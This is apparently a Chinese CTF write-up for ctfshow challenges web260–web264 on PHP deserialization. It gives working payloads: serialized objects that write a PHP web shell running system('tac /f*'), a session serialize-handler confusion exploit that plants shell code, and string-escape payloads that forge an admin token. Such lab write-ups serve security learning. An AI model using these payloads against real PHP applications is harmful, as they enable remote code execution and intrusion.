目录
1、web260

要求传入的内容序列化后包含指定内容即可,在 PHP 序列化中,如果键名或值包含 ctfshow_i_love_36D,那么整个序列化结果也会包含这个字符串。
payload:
?ctfshow[]=ctfshow_i_love_36D

拿到 flag:ctfshow{16d7d5c7-a95b-46e2-8ae6-9ce1ce40db95}
2、web261

一开始看到的是 eval 函数,但是需要触发 __invoke ,看了下这里没法触发
那么利用点就只有 file_put_contents,需要满足 code==0x36d 转成十进制也就是 877,是弱等于,因此我们可以在 877 后面添加内容,也可以满足条件,而 code = this-\>username.this->password,也就是传入的用户名和密码的拼接。
exp:
php
<?php
class ctfshowvip
{
public $username;
public $password;
public $code;
public function __construct($u, $p)
{
$this->username = $u;
$this->password = $p;
}
}
$c = new ctfshowvip('877.php',"<?php system('tac /f*');?>");
echo serialize($c);
这里同时存在 __unserialize() 和 __wakeup()函数,在 php 7.4 以上版本反序列化时会忽略__wakeup() 函数,因此这里实际并不需要用户名和密码为空。

payload:
php
?vip=O:10:"ctfshowvip":3:{s:8:"username";s:7:"877.php";s:8:"password";s:26:"<?php system('tac /f*');?>";s:4:"code";N;}
访问 877.php 拿到 flag

ctfshow{2f61063a-c9c5-49f7-968a-d7adf772376d}
3、web262

没看到什么利用点,但是注意到有一个 message.php

这个就很简单了,满足 $msg->token=='admin' 即可
exp:
php
<?php
class message{
public $token='admin';
}
$m = new message();
echo base64_encode(serialize($m));
?>

payload:
php
msg=Tzo3OiJtZXNzYWdlIjoxOntzOjU6InRva2VuIjtzOjU6ImFkbWluIjt9

拿到 flag:ctfshow{52bb7ed2-61da-493c-a7f3-89f9ea42f6c2}
如果不在 message.php 传,回过头来看这个,其实是字符串逃逸变长的类型

将 fuck 替换为 loveU 就会增加一个字符
逃逸部分如下,共27个字符

构造 payload:
php
?f=1&m=1&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

访问 message.php 即可看到 flag

4、web263

目录扫描存在备份文件 www.zip

file_put_contents 这里可以写入东西

session.serialize_handler 是用来设置 session 序列化引擎的,在 5.5.4 前默认是 php,5.5.4后默认是 php_serialize,在 PHP 反序列化存储的 $_SESSION 数据时如果使用的引擎和序列化时使用的引擎不一样,就会导致数据无法正确第反序列化,也就是 session 反序列化漏洞。

在 check.php 下会获取 $_COOKIE['limit'] 进行 base64 解码

exp:
php
<?php
class User
{
public $username;
public $password;
function __construct()
{
$this->username = 'my6n.php';
$this->password = '<?php system(\'tac flag.php\')?>';
}
}
$u = new User();
echo urlencode(base64_encode('|' . serialize($u)));
运行得到:
php
fE86NDoiVXNlciI6Mjp7czo4OiJ1c2VybmFtZSI7czo4OiJteTZuLnBocCI7czo4OiJwYXNzd29yZCI7czozMDoiPD9waHAgc3lzdGVtKCd0YWMgZmxhZy5waHAnKT8%2BIjt9
先访问首页,建立会话,将 cookie 中的 limit 赋值为我们的 payload(序列化后的内容)


接着访问 check.php

反序列化 session

写入恶意代码


访问写入的文件 log-my6n.php
命令执行成功

拿到 flag:ctfshow{2810fbc2-fc78-4bad-b0cb-8a40aedbe6d4}
5、web264
直接用 web262 的传发现不行,msg 没有定义

查看 cookie,确实没有 msg

我们手动添加一个,但是直接在 message.php 设置 admin 也不行,那就还是采用字符串逃逸的方法,payload 同 web262:
php
?f=1&m=1&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

刷新 message.php

拿到 flag:ctfshow{e2c408b1-9ab9-4c87-8655-ec43b2e2930a}